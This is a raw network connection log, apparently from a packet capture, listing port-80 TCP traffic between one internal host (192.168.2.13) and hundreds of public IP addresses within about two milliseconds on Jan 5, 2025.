Jan 5, 2025 14:34:51.735697985 CET	80	29477	151.48.15.95	192.168.2.13
Jan 5, 2025 14:34:51.735707998 CET	80	29477	220.224.191.80	192.168.2.13
Jan 5, 2025 14:34:51.735713005 CET	80	29477	93.214.231.0	192.168.2.13
Jan 5, 2025 14:34:51.735722065 CET	80	29477	53.227.17.241	192.168.2.13
Jan 5, 2025 14:34:51.735732079 CET	80	29477	139.174.195.137	192.168.2.13
Jan 5, 2025 14:34:51.735738993 CET	29477	80	192.168.2.13	220.224.191.80
Jan 5, 2025 14:34:51.735738993 CET	29477	80	192.168.2.13	151.48.15.95
Jan 5, 2025 14:34:51.735740900 CET	80	29477	196.143.46.158	192.168.2.13
Jan 5, 2025 14:34:51.735750914 CET	80	29477	159.255.40.76	192.168.2.13
Jan 5, 2025 14:34:51.735753059 CET	29477	80	192.168.2.13	53.227.17.241
Jan 5, 2025 14:34:51.735760927 CET	80	29477	17.149.159.4	192.168.2.13
Jan 5, 2025 14:34:51.735769987 CET	80	29477	121.102.216.112	192.168.2.13
Jan 5, 2025 14:34:51.735774040 CET	29477	80	192.168.2.13	93.214.231.0
Jan 5, 2025 14:34:51.735779047 CET	80	29477	176.149.191.104	192.168.2.13
Jan 5, 2025 14:34:51.735788107 CET	80	29477	24.250.172.66	192.168.2.13
Jan 5, 2025 14:34:51.735794067 CET	29477	80	192.168.2.13	196.143.46.158
Jan 5, 2025 14:34:51.735795975 CET	80	29477	59.207.164.167	192.168.2.13
Jan 5, 2025 14:34:51.735805988 CET	80	29477	96.120.65.61	192.168.2.13
Jan 5, 2025 14:34:51.735804081 CET	29477	80	192.168.2.13	121.102.216.112
Jan 5, 2025 14:34:51.735806942 CET	29477	80	192.168.2.13	139.174.195.137
Jan 5, 2025 14:34:51.735805035 CET	29477	80	192.168.2.13	176.149.191.104
Jan 5, 2025 14:34:51.735805035 CET	29477	80	192.168.2.13	24.250.172.66
Jan 5, 2025 14:34:51.735810041 CET	29477	80	192.168.2.13	159.255.40.76
Jan 5, 2025 14:34:51.735810041 CET	29477	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:51.735816956 CET	80	29477	14.97.135.180	192.168.2.13
Jan 5, 2025 14:34:51.735827923 CET	80	29477	207.181.173.59	192.168.2.13
Jan 5, 2025 14:34:51.735836029 CET	80	29477	160.138.100.144	192.168.2.13
Jan 5, 2025 14:34:51.735846043 CET	80	29477	187.2.59.252	192.168.2.13
Jan 5, 2025 14:34:51.735855103 CET	80	29477	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:51.735865116 CET	80	29477	132.2.243.211	192.168.2.13
Jan 5, 2025 14:34:51.735873938 CET	80	29477	78.220.83.21	192.168.2.13
Jan 5, 2025 14:34:51.735883951 CET	80	29477	178.160.234.244	192.168.2.13
Jan 5, 2025 14:34:51.735884905 CET	29477	80	192.168.2.13	59.207.164.167
Jan 5, 2025 14:34:51.735884905 CET	29477	80	192.168.2.13	96.120.65.61
Jan 5, 2025 14:34:51.735884905 CET	29477	80	192.168.2.13	14.97.135.180
Jan 5, 2025 14:34:51.735893011 CET	80	29477	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:51.735903978 CET	80	29477	1.217.177.101	192.168.2.13
Jan 5, 2025 14:34:51.735908031 CET	29477	80	192.168.2.13	207.181.173.59
Jan 5, 2025 14:34:51.735915899 CET	29477	80	192.168.2.13	160.138.100.144
Jan 5, 2025 14:34:51.735915899 CET	29477	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:51.735915899 CET	29477	80	192.168.2.13	132.2.243.211
Jan 5, 2025 14:34:51.735917091 CET	80	29477	102.130.92.204	192.168.2.13
Jan 5, 2025 14:34:51.735923052 CET	29477	80	192.168.2.13	78.220.83.21
Jan 5, 2025 14:34:51.735923052 CET	29477	80	192.168.2.13	178.160.234.244
Jan 5, 2025 14:34:51.735927105 CET	29477	80	192.168.2.13	187.2.59.252
Jan 5, 2025 14:34:51.735927105 CET	80	29477	210.5.76.127	192.168.2.13
Jan 5, 2025 14:34:51.735928059 CET	29477	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:51.735932112 CET	29477	80	192.168.2.13	1.217.177.101
Jan 5, 2025 14:34:51.735939026 CET	80	29477	166.179.233.91	192.168.2.13
Jan 5, 2025 14:34:51.735949993 CET	80	29477	69.206.208.139	192.168.2.13
Jan 5, 2025 14:34:51.735949993 CET	29477	80	192.168.2.13	102.130.92.204
Jan 5, 2025 14:34:51.735959053 CET	80	29477	188.97.0.189	192.168.2.13
Jan 5, 2025 14:34:51.735994101 CET	29477	80	192.168.2.13	210.5.76.127
Jan 5, 2025 14:34:51.735994101 CET	29477	80	192.168.2.13	188.97.0.189
Jan 5, 2025 14:34:51.735996962 CET	29477	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:51.736002922 CET	29477	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:51.736036062 CET	80	29477	85.21.168.38	192.168.2.13
Jan 5, 2025 14:34:51.736047029 CET	80	29477	157.0.75.117	192.168.2.13
Jan 5, 2025 14:34:51.736056089 CET	80	29477	17.219.220.32	192.168.2.13
Jan 5, 2025 14:34:51.736064911 CET	80	29477	174.193.240.193	192.168.2.13
Jan 5, 2025 14:34:51.736073971 CET	80	29477	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:51.736082077 CET	29477	80	192.168.2.13	85.21.168.38
Jan 5, 2025 14:34:51.736083031 CET	80	29477	153.20.1.20	192.168.2.13
Jan 5, 2025 14:34:51.736092091 CET	80	29477	223.76.76.80	192.168.2.13
Jan 5, 2025 14:34:51.736100912 CET	80	29477	113.229.189.168	192.168.2.13
Jan 5, 2025 14:34:51.736109972 CET	80	29477	31.80.239.115	192.168.2.13
Jan 5, 2025 14:34:51.736118078 CET	80	29477	196.192.115.255	192.168.2.13
Jan 5, 2025 14:34:51.736124992 CET	29477	80	192.168.2.13	157.0.75.117
Jan 5, 2025 14:34:51.736129999 CET	29477	80	192.168.2.13	17.219.220.32
Jan 5, 2025 14:34:51.736126900 CET	80	29477	133.103.30.246	192.168.2.13
Jan 5, 2025 14:34:51.736125946 CET	29477	80	192.168.2.13	223.76.76.80
Jan 5, 2025 14:34:51.736139059 CET	29477	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:51.736140013 CET	29477	80	192.168.2.13	153.20.1.20
Jan 5, 2025 14:34:51.736140013 CET	29477	80	192.168.2.13	113.229.189.168
Jan 5, 2025 14:34:51.736144066 CET	29477	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:51.736143112 CET	29477	80	192.168.2.13	31.80.239.115
Jan 5, 2025 14:34:51.736145020 CET	29477	80	192.168.2.13	174.193.240.193
Jan 5, 2025 14:34:51.736146927 CET	80	29477	41.22.54.60	192.168.2.13
Jan 5, 2025 14:34:51.736156940 CET	80	29477	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:51.736166000 CET	80	29477	165.11.0.69	192.168.2.13
Jan 5, 2025 14:34:51.736170053 CET	29477	80	192.168.2.13	133.103.30.246
Jan 5, 2025 14:34:51.736177921 CET	80	29477	145.213.212.153	192.168.2.13
Jan 5, 2025 14:34:51.736181974 CET	29477	80	192.168.2.13	41.22.54.60
Jan 5, 2025 14:34:51.736181974 CET	29477	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:51.736186028 CET	80	29477	189.52.205.193	192.168.2.13
Jan 5, 2025 14:34:51.736195087 CET	29477	80	192.168.2.13	165.11.0.69
Jan 5, 2025 14:34:51.736196041 CET	80	29477	180.233.33.135	192.168.2.13
Jan 5, 2025 14:34:51.736202955 CET	29477	80	192.168.2.13	145.213.212.153
Jan 5, 2025 14:34:51.736206055 CET	80	29477	89.14.126.235	192.168.2.13
Jan 5, 2025 14:34:51.736211061 CET	80	29477	130.235.117.29	192.168.2.13
Jan 5, 2025 14:34:51.736212969 CET	29477	80	192.168.2.13	189.52.205.193
Jan 5, 2025 14:34:51.736219883 CET	80	29477	82.188.144.25	192.168.2.13
Jan 5, 2025 14:34:51.736228943 CET	80	29477	72.135.25.4	192.168.2.13
Jan 5, 2025 14:34:51.736238003 CET	80	29477	5.242.128.66	192.168.2.13
Jan 5, 2025 14:34:51.736243010 CET	80	29477	146.153.158.241	192.168.2.13
Jan 5, 2025 14:34:51.736248016 CET	80	29477	222.19.206.23	192.168.2.13
Jan 5, 2025 14:34:51.736253023 CET	80	29477	72.112.109.189	192.168.2.13
Jan 5, 2025 14:34:51.736260891 CET	80	29477	180.209.26.214	192.168.2.13
Jan 5, 2025 14:34:51.736268997 CET	80	29477	25.235.168.148	192.168.2.13
Jan 5, 2025 14:34:51.736278057 CET	80	29477	154.179.240.225	192.168.2.13
Jan 5, 2025 14:34:51.736300945 CET	29477	80	192.168.2.13	89.14.126.235
Jan 5, 2025 14:34:51.736300945 CET	29477	80	192.168.2.13	130.235.117.29
Jan 5, 2025 14:34:51.736300945 CET	29477	80	192.168.2.13	82.188.144.25
Jan 5, 2025 14:34:51.736304045 CET	29477	80	192.168.2.13	180.233.33.135
Jan 5, 2025 14:34:51.736304998 CET	29477	80	192.168.2.13	72.135.25.4
Jan 5, 2025 14:34:51.736315012 CET	29477	80	192.168.2.13	72.112.109.189
Jan 5, 2025 14:34:51.736316919 CET	29477	80	192.168.2.13	5.242.128.66
Jan 5, 2025 14:34:51.736316919 CET	29477	80	192.168.2.13	146.153.158.241
Jan 5, 2025 14:34:51.736318111 CET	29477	80	192.168.2.13	180.209.26.214
Jan 5, 2025 14:34:51.736318111 CET	29477	80	192.168.2.13	222.19.206.23
Jan 5, 2025 14:34:51.736320019 CET	29477	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:51.736320019 CET	29477	80	192.168.2.13	25.235.168.148
Jan 5, 2025 14:34:51.736336946 CET	80	29477	53.224.127.117	192.168.2.13
Jan 5, 2025 14:34:51.736349106 CET	80	29477	181.212.202.37	192.168.2.13
Jan 5, 2025 14:34:51.736368895 CET	80	29477	2.79.91.42	192.168.2.13
Jan 5, 2025 14:34:51.736368895 CET	29477	80	192.168.2.13	53.224.127.117
Jan 5, 2025 14:34:51.736378908 CET	80	29477	37.214.232.61	192.168.2.13
Jan 5, 2025 14:34:51.736387014 CET	80	29477	138.54.10.162	192.168.2.13
Jan 5, 2025 14:34:51.736396074 CET	80	29477	99.2.140.201	192.168.2.13
Jan 5, 2025 14:34:51.736404896 CET	80	29477	143.189.106.192	192.168.2.13
Jan 5, 2025 14:34:51.736407995 CET	29477	80	192.168.2.13	2.79.91.42
Jan 5, 2025 14:34:51.736416101 CET	80	29477	194.42.246.90	192.168.2.13
Jan 5, 2025 14:34:51.736417055 CET	29477	80	192.168.2.13	181.212.202.37
Jan 5, 2025 14:34:51.736426115 CET	80	29477	188.234.143.250	192.168.2.13
Jan 5, 2025 14:34:51.736430883 CET	80	29477	48.250.215.171	192.168.2.13
Jan 5, 2025 14:34:51.736433983 CET	80	29477	202.226.133.66	192.168.2.13
Jan 5, 2025 14:34:51.736438036 CET	80	29477	101.16.6.46	192.168.2.13
Jan 5, 2025 14:34:51.736442089 CET	80	29477	128.196.3.237	192.168.2.13
Jan 5, 2025 14:34:51.736445904 CET	80	29477	1.166.123.153	192.168.2.13
Jan 5, 2025 14:34:51.736453056 CET	80	29477	172.222.47.240	192.168.2.13
Jan 5, 2025 14:34:51.736458063 CET	80	29477	220.83.51.33	192.168.2.13
Jan 5, 2025 14:34:51.736462116 CET	80	29477	32.252.123.78	192.168.2.13
Jan 5, 2025 14:34:51.736465931 CET	80	29477	44.218.91.191	192.168.2.13
Jan 5, 2025 14:34:51.736469984 CET	80	29477	99.158.62.56	192.168.2.13
Jan 5, 2025 14:34:51.736474037 CET	80	29477	186.201.209.50	192.168.2.13
Jan 5, 2025 14:34:51.736474037 CET	29477	80	192.168.2.13	99.2.140.201
Jan 5, 2025 14:34:51.736474991 CET	29477	80	192.168.2.13	37.214.232.61
Jan 5, 2025 14:34:51.736478090 CET	29477	80	192.168.2.13	138.54.10.162
Jan 5, 2025 14:34:51.736480951 CET	29477	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:51.736484051 CET	80	29477	166.95.170.63	192.168.2.13
Jan 5, 2025 14:34:51.736495018 CET	80	29477	207.215.212.22	192.168.2.13
Jan 5, 2025 14:34:51.736501932 CET	29477	80	192.168.2.13	194.42.246.90
Jan 5, 2025 14:34:51.736502886 CET	80	29477	164.138.201.158	192.168.2.13
Jan 5, 2025 14:34:51.736505985 CET	29477	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:51.736506939 CET	80	29477	125.253.31.3	192.168.2.13
Jan 5, 2025 14:34:51.736507893 CET	29477	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:51.736507893 CET	29477	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:51.736511946 CET	80	29477	77.65.24.19	192.168.2.13
Jan 5, 2025 14:34:51.736514091 CET	29477	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:51.736514091 CET	29477	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:51.736514091 CET	29477	80	192.168.2.13	128.196.3.237
Jan 5, 2025 14:34:51.736515999 CET	29477	80	192.168.2.13	99.158.62.56
Jan 5, 2025 14:34:51.736521006 CET	29477	80	192.168.2.13	32.252.123.78
Jan 5, 2025 14:34:51.736521959 CET	29477	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:51.736522913 CET	80	29477	219.54.10.214	192.168.2.13
Jan 5, 2025 14:34:51.736529112 CET	29477	80	192.168.2.13	101.16.6.46
Jan 5, 2025 14:34:51.736529112 CET	29477	80	192.168.2.13	44.218.91.191
Jan 5, 2025 14:34:51.736530066 CET	29477	80	192.168.2.13	166.95.170.63
Jan 5, 2025 14:34:51.736530066 CET	29477	80	192.168.2.13	207.215.212.22
Jan 5, 2025 14:34:51.736534119 CET	80	29477	155.5.153.138	192.168.2.13
Jan 5, 2025 14:34:51.736542940 CET	80	29477	175.183.46.240	192.168.2.13
Jan 5, 2025 14:34:51.736562967 CET	29477	80	192.168.2.13	186.201.209.50
Jan 5, 2025 14:34:51.736562967 CET	29477	80	192.168.2.13	164.138.201.158
Jan 5, 2025 14:34:51.736562967 CET	29477	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:51.736562967 CET	29477	80	192.168.2.13	77.65.24.19
Jan 5, 2025 14:34:51.736588001 CET	29477	80	192.168.2.13	175.183.46.240
Jan 5, 2025 14:34:51.736593008 CET	29477	80	192.168.2.13	219.54.10.214
Jan 5, 2025 14:34:51.736608982 CET	29477	80	192.168.2.13	155.5.153.138
Jan 5, 2025 14:34:51.736778021 CET	80	29477	42.79.20.150	192.168.2.13
Jan 5, 2025 14:34:51.736788034 CET	80	29477	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:51.736798048 CET	80	29477	113.255.83.238	192.168.2.13
Jan 5, 2025 14:34:51.736808062 CET	80	29477	88.209.200.173	192.168.2.13
Jan 5, 2025 14:34:51.736816883 CET	80	29477	175.245.253.17	192.168.2.13
Jan 5, 2025 14:34:51.736825943 CET	80	29477	71.104.122.79	192.168.2.13
Jan 5, 2025 14:34:51.736835003 CET	80	29477	120.114.84.38	192.168.2.13
Jan 5, 2025 14:34:51.736835003 CET	29477	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:51.736835003 CET	29477	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:51.736840010 CET	29477	80	192.168.2.13	42.79.20.150
Jan 5, 2025 14:34:51.736845016 CET	80	29477	186.171.85.18	192.168.2.13
Jan 5, 2025 14:34:51.736845970 CET	29477	80	192.168.2.13	88.209.200.173
Jan 5, 2025 14:34:51.736845970 CET	29477	80	192.168.2.13	175.245.253.17
Jan 5, 2025 14:34:51.736855030 CET	80	29477	181.97.38.177	192.168.2.13
Jan 5, 2025 14:34:51.736862898 CET	29477	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:51.736865044 CET	80	29477	96.154.183.189	192.168.2.13
Jan 5, 2025 14:34:51.736869097 CET	29477	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:51.736874104 CET	80	29477	20.82.200.219	192.168.2.13
Jan 5, 2025 14:34:51.736885071 CET	80	29477	178.127.135.36	192.168.2.13
Jan 5, 2025 14:34:51.736885071 CET	29477	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:51.736892939 CET	80	29477	125.76.10.156	192.168.2.13
Jan 5, 2025 14:34:51.736902952 CET	80	29477	192.214.235.88	192.168.2.13
Jan 5, 2025 14:34:51.736912012 CET	80	29477	44.83.48.22	192.168.2.13
Jan 5, 2025 14:34:51.736922026 CET	80	29477	124.176.167.7	192.168.2.13
Jan 5, 2025 14:34:51.736923933 CET	29477	80	192.168.2.13	181.97.38.177
Jan 5, 2025 14:34:51.736931086 CET	80	29477	108.171.105.201	192.168.2.13
Jan 5, 2025 14:34:51.736933947 CET	29477	80	192.168.2.13	192.214.235.88
Jan 5, 2025 14:34:51.736941099 CET	80	29477	203.213.57.208	192.168.2.13
Jan 5, 2025 14:34:51.736951113 CET	80	29477	199.250.9.123	192.168.2.13
Jan 5, 2025 14:34:51.736958981 CET	80	29477	196.241.10.180	192.168.2.13
Jan 5, 2025 14:34:51.736968040 CET	80	29477	5.252.142.147	192.168.2.13
Jan 5, 2025 14:34:51.736974955 CET	29477	80	192.168.2.13	125.76.10.156
Jan 5, 2025 14:34:51.736977100 CET	80	29477	211.227.233.63	192.168.2.13
Jan 5, 2025 14:34:51.736984015 CET	29477	80	192.168.2.13	96.154.183.189
Jan 5, 2025 14:34:51.736984015 CET	29477	80	192.168.2.13	178.127.135.36
Jan 5, 2025 14:34:51.736985922 CET	29477	80	192.168.2.13	20.82.200.219
Jan 5, 2025 14:34:51.736985922 CET	29477	80	192.168.2.13	44.83.48.22
Jan 5, 2025 14:34:51.736984015 CET	29477	80	192.168.2.13	124.176.167.7
Jan 5, 2025 14:34:51.736985922 CET	29477	80	192.168.2.13	108.171.105.201
Jan 5, 2025 14:34:51.736988068 CET	80	29477	161.107.166.33	192.168.2.13
Jan 5, 2025 14:34:51.736985922 CET	29477	80	192.168.2.13	199.250.9.123
Jan 5, 2025 14:34:51.736993074 CET	29477	80	192.168.2.13	196.241.10.180
Jan 5, 2025 14:34:51.736998081 CET	29477	80	192.168.2.13	203.213.57.208
Jan 5, 2025 14:34:51.736998081 CET	29477	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:51.737001896 CET	80	29477	120.108.229.41	192.168.2.13
Jan 5, 2025 14:34:51.737004042 CET	29477	80	192.168.2.13	211.227.233.63
Jan 5, 2025 14:34:51.737011909 CET	80	29477	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:51.737020969 CET	80	29477	77.51.64.168	192.168.2.13
Jan 5, 2025 14:34:51.737025023 CET	29477	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:51.737030029 CET	80	29477	46.69.101.35	192.168.2.13
Jan 5, 2025 14:34:51.737040043 CET	80	29477	166.193.19.8	192.168.2.13
Jan 5, 2025 14:34:51.737061977 CET	29477	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:51.737066984 CET	29477	80	192.168.2.13	77.51.64.168
Jan 5, 2025 14:34:51.737066984 CET	29477	80	192.168.2.13	46.69.101.35
Jan 5, 2025 14:34:51.737076044 CET	29477	80	192.168.2.13	120.108.229.41
Jan 5, 2025 14:34:51.737082005 CET	29477	80	192.168.2.13	166.193.19.8
Jan 5, 2025 14:34:51.737121105 CET	80	29477	86.6.121.248	192.168.2.13
Jan 5, 2025 14:34:51.737132072 CET	80	29477	103.188.16.0	192.168.2.13
Jan 5, 2025 14:34:51.737137079 CET	80	29477	126.216.109.113	192.168.2.13
Jan 5, 2025 14:34:51.737143040 CET	80	29477	202.4.116.182	192.168.2.13
Jan 5, 2025 14:34:51.737147093 CET	80	29477	2.249.99.214	192.168.2.13
Jan 5, 2025 14:34:51.737152100 CET	80	29477	130.28.75.80	192.168.2.13
Jan 5, 2025 14:34:51.737157106 CET	80	29477	202.146.31.41	192.168.2.13
Jan 5, 2025 14:34:51.737160921 CET	80	29477	114.25.86.3	192.168.2.13
Jan 5, 2025 14:34:51.737165928 CET	80	29477	211.238.11.41	192.168.2.13
Jan 5, 2025 14:34:51.737170935 CET	80	29477	119.142.212.105	192.168.2.13
Jan 5, 2025 14:34:51.737175941 CET	80	29477	61.14.203.58	192.168.2.13
Jan 5, 2025 14:34:51.737185001 CET	80	29477	92.191.110.195	192.168.2.13
Jan 5, 2025 14:34:51.737185001 CET	29477	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:51.737189054 CET	80	29477	41.199.168.156	192.168.2.13
Jan 5, 2025 14:34:51.737199068 CET	80	29477	172.129.129.120	192.168.2.13
Jan 5, 2025 14:34:51.737210035 CET	80	29477	83.9.59.123	192.168.2.13
Jan 5, 2025 14:34:51.737217903 CET	80	29477	76.30.28.133	192.168.2.13
Jan 5, 2025 14:34:51.737227917 CET	80	29477	139.20.233.12	192.168.2.13
Jan 5, 2025 14:34:51.737231970 CET	29477	80	192.168.2.13	202.4.116.182
Jan 5, 2025 14:34:51.737231970 CET	29477	80	192.168.2.13	202.146.31.41
Jan 5, 2025 14:34:51.737232924 CET	29477	80	192.168.2.13	103.188.16.0
Jan 5, 2025 14:34:51.737232924 CET	29477	80	192.168.2.13	2.249.99.214
Jan 5, 2025 14:34:51.737236977 CET	80	29477	209.154.246.13	192.168.2.13
Jan 5, 2025 14:34:51.737241983 CET	80	29477	91.166.28.70	192.168.2.13
Jan 5, 2025 14:34:51.737246990 CET	29477	80	192.168.2.13	126.216.109.113
Jan 5, 2025 14:34:51.737246990 CET	29477	80	192.168.2.13	92.191.110.195
Jan 5, 2025 14:34:51.737251043 CET	29477	80	192.168.2.13	130.28.75.80
Jan 5, 2025 14:34:51.737251997 CET	80	29477	95.107.133.216	192.168.2.13
Jan 5, 2025 14:34:51.737263918 CET	80	29477	126.60.210.87	192.168.2.13
Jan 5, 2025 14:34:51.737274885 CET	80	29477	219.66.104.169	192.168.2.13
Jan 5, 2025 14:34:51.737284899 CET	80	29477	71.171.172.174	192.168.2.13
Jan 5, 2025 14:34:51.737293959 CET	29477	80	192.168.2.13	211.238.11.41
Jan 5, 2025 14:34:51.737294912 CET	80	29477	150.244.249.86	192.168.2.13
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	61.14.203.58
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	83.9.59.123
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	172.129.129.120
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	139.20.233.12
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	76.30.28.133
Jan 5, 2025 14:34:51.737298012 CET	29477	80	192.168.2.13	219.66.104.169
Jan 5, 2025 14:34:51.737301111 CET	29477	80	192.168.2.13	114.25.86.3
Jan 5, 2025 14:34:51.737301111 CET	29477	80	192.168.2.13	119.142.212.105
Jan 5, 2025 14:34:51.737302065 CET	29477	80	192.168.2.13	41.199.168.156
Jan 5, 2025 14:34:51.737303972 CET	80	29477	9.127.11.146	192.168.2.13
Jan 5, 2025 14:34:51.737313986 CET	80	29477	147.199.109.216	192.168.2.13
Jan 5, 2025 14:34:51.737314939 CET	29477	80	192.168.2.13	209.154.246.13
Jan 5, 2025 14:34:51.737314939 CET	29477	80	192.168.2.13	95.107.133.216
Jan 5, 2025 14:34:51.737314939 CET	29477	80	192.168.2.13	126.60.210.87
Jan 5, 2025 14:34:51.737315893 CET	29477	80	192.168.2.13	71.171.172.174
Jan 5, 2025 14:34:51.737317085 CET	29477	80	192.168.2.13	91.166.28.70
Jan 5, 2025 14:34:51.737315893 CET	29477	80	192.168.2.13	150.244.249.86
Jan 5, 2025 14:34:51.737323046 CET	80	29477	73.22.107.180	192.168.2.13
Jan 5, 2025 14:34:51.737332106 CET	80	29477	135.135.158.177	192.168.2.13
Jan 5, 2025 14:34:51.737335920 CET	29477	80	192.168.2.13	9.127.11.146
Jan 5, 2025 14:34:51.737356901 CET	29477	80	192.168.2.13	73.22.107.180
Jan 5, 2025 14:34:51.737358093 CET	29477	80	192.168.2.13	147.199.109.216
Jan 5, 2025 14:34:51.737360001 CET	29477	80	192.168.2.13	135.135.158.177
Jan 5, 2025 14:34:51.737590075 CET	80	29477	43.192.223.255	192.168.2.13
Jan 5, 2025 14:34:51.737601995 CET	80	29477	9.106.250.46	192.168.2.13
Jan 5, 2025 14:34:51.737611055 CET	80	29477	149.195.104.135	192.168.2.13
Jan 5, 2025 14:34:51.737622023 CET	80	29477	23.121.216.66	192.168.2.13
Jan 5, 2025 14:34:51.737628937 CET	29477	80	192.168.2.13	43.192.223.255
Jan 5, 2025 14:34:51.737631083 CET	29477	80	192.168.2.13	9.106.250.46
Jan 5, 2025 14:34:51.737632990 CET	80	29477	104.222.167.115	192.168.2.13
Jan 5, 2025 14:34:51.737642050 CET	29477	80	192.168.2.13	149.195.104.135
Jan 5, 2025 14:34:51.737643957 CET	80	29477	4.146.16.247	192.168.2.13
Jan 5, 2025 14:34:51.737656116 CET	80	29477	87.184.254.114	192.168.2.13
Jan 5, 2025 14:34:51.737658024 CET	29477	80	192.168.2.13	23.121.216.66
Jan 5, 2025 14:34:51.737663031 CET	29477	80	192.168.2.13	104.222.167.115
Jan 5, 2025 14:34:51.737665892 CET	80	29477	167.110.140.50	192.168.2.13
Jan 5, 2025 14:34:51.737672091 CET	29477	80	192.168.2.13	4.146.16.247
Jan 5, 2025 14:34:51.737675905 CET	80	29477	189.137.196.222	192.168.2.13
Jan 5, 2025 14:34:51.737684965 CET	80	29477	112.151.218.238	192.168.2.13
Jan 5, 2025 14:34:51.737688065 CET	29477	80	192.168.2.13	87.184.254.114
Jan 5, 2025 14:34:51.737694025 CET	80	29477	205.78.46.127	192.168.2.13
Jan 5, 2025 14:34:51.737699032 CET	80	29477	125.187.84.120	192.168.2.13
Jan 5, 2025 14:34:51.737698078 CET	29477	80	192.168.2.13	167.110.140.50
Jan 5, 2025 14:34:51.737699986 CET	29477	80	192.168.2.13	189.137.196.222
Jan 5, 2025 14:34:51.737708092 CET	80	29477	158.221.12.177	192.168.2.13
Jan 5, 2025 14:34:51.737716913 CET	80	29477	112.108.248.152	192.168.2.13
Jan 5, 2025 14:34:51.737716913 CET	29477	80	192.168.2.13	112.151.218.238
Jan 5, 2025 14:34:51.737716913 CET	29477	80	192.168.2.13	205.78.46.127
Jan 5, 2025 14:34:51.737716913 CET	29477	80	192.168.2.13	125.187.84.120
Jan 5, 2025 14:34:51.737726927 CET	80	29477	149.233.192.156	192.168.2.13
Jan 5, 2025 14:34:51.737736940 CET	80	29477	129.157.174.30	192.168.2.13
Jan 5, 2025 14:34:51.737746954 CET	80	29477	222.130.3.196	192.168.2.13
Jan 5, 2025 14:34:51.737755060 CET	80	29477	2.251.159.204	192.168.2.13
Jan 5, 2025 14:34:51.737763882 CET	80	29477	160.20.161.80	192.168.2.13
Jan 5, 2025 14:34:51.737771988 CET	80	29477	90.5.231.136	192.168.2.13
Jan 5, 2025 14:34:51.737780094 CET	80	29477	123.207.142.252	192.168.2.13
Jan 5, 2025 14:34:51.737787962 CET	80	29477	63.17.113.93	192.168.2.13
Jan 5, 2025 14:34:51.737792015 CET	29477	80	192.168.2.13	158.221.12.177
Jan 5, 2025 14:34:51.737798929 CET	80	29477	138.94.240.124	192.168.2.13
Jan 5, 2025 14:34:51.737802029 CET	29477	80	192.168.2.13	112.108.248.152
Jan 5, 2025 14:34:51.737802029 CET	29477	80	192.168.2.13	149.233.192.156
Jan 5, 2025 14:34:51.737802029 CET	29477	80	192.168.2.13	222.130.3.196
Jan 5, 2025 14:34:51.737808943 CET	29477	80	192.168.2.13	2.251.159.204
Jan 5, 2025 14:34:51.737809896 CET	80	29477	193.160.72.79	192.168.2.13
Jan 5, 2025 14:34:51.737809896 CET	29477	80	192.168.2.13	90.5.231.136
Jan 5, 2025 14:34:51.737812996 CET	29477	80	192.168.2.13	63.17.113.93
Jan 5, 2025 14:34:51.737813950 CET	29477	80	192.168.2.13	123.207.142.252
Jan 5, 2025 14:34:51.737818956 CET	29477	80	192.168.2.13	129.157.174.30
Jan 5, 2025 14:34:51.737819910 CET	80	29477	161.98.247.18	192.168.2.13
Jan 5, 2025 14:34:51.737824917 CET	29477	80	192.168.2.13	160.20.161.80
Jan 5, 2025 14:34:51.737832069 CET	80	29477	83.203.255.26	192.168.2.13
Jan 5, 2025 14:34:51.737832069 CET	29477	80	192.168.2.13	138.94.240.124
Jan 5, 2025 14:34:51.737842083 CET	80	29477	85.152.154.191	192.168.2.13
Jan 5, 2025 14:34:51.737852097 CET	80	29477	90.49.143.39	192.168.2.13
Jan 5, 2025 14:34:51.737864971 CET	29477	80	192.168.2.13	161.98.247.18
Jan 5, 2025 14:34:51.737868071 CET	29477	80	192.168.2.13	193.160.72.79
Jan 5, 2025 14:34:51.737868071 CET	29477	80	192.168.2.13	85.152.154.191
Jan 5, 2025 14:34:51.737869024 CET	29477	80	192.168.2.13	83.203.255.26
Jan 5, 2025 14:34:51.737879992 CET	29477	80	192.168.2.13	90.49.143.39
Jan 5, 2025 14:34:51.737974882 CET	80	29477	205.139.25.161	192.168.2.13
Jan 5, 2025 14:34:51.737984896 CET	80	29477	132.122.76.217	192.168.2.13
Jan 5, 2025 14:34:51.737994909 CET	80	29477	119.88.10.38	192.168.2.13
Jan 5, 2025 14:34:51.737998962 CET	80	29477	65.201.88.223	192.168.2.13
